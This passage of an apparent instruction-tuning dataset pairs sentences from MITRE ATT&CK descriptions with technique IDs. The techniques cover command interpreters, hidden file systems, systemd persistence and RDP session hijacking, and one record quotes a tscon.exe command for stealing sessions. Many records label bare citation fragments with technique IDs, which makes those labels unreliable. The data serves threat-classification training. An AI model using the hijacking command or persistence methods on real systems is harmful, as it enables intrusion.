completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Visual Basic (VB) for execution.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Visual Basic (VB) for execution. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB .NET", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB .NET ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mar 2020)(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mar 2020)(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB Microsoft)", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB Microsoft) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use VB payloads to execute malicious commands.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use VB payloads to execute malicious commands. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default VBS macros Blocking )", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default VBS macros Blocking ) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a hidden file system to conceal malicious activity from users and security tools. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File systems provide a structure to store and access data from physical storage.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File systems provide a structure to store and access data from physical storage. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector).", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Standard file systems include FAT, NTFS, ext4, and APFS.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Standard file systems include FAT, NTFS, ext4, and APFS. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In doing so, adversaries can hide the presence of malicious components and file input/output from security tools.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start processes that perform background system functions.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start processes that perform background system functions. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`).", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* `ExecReload` directive executes when a service restarts.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * `ExecReload` directive executes when a service restarts. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation.", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation:", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service Persistence 22JUNE2016)", "output": "T1543.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service Persistence 22JUNE2016) ### Response: T1543.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may commandeer these sessions to carry out actions on remote systems.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may commandeer these sessions to carry out actions on remote systems. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack) ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote desktop is a common feature in operating systems.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote desktop is a common feature in operating systems. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a user is notified when someone else is trying to steal their session.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a user is notified when someone else is trying to steal their session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: 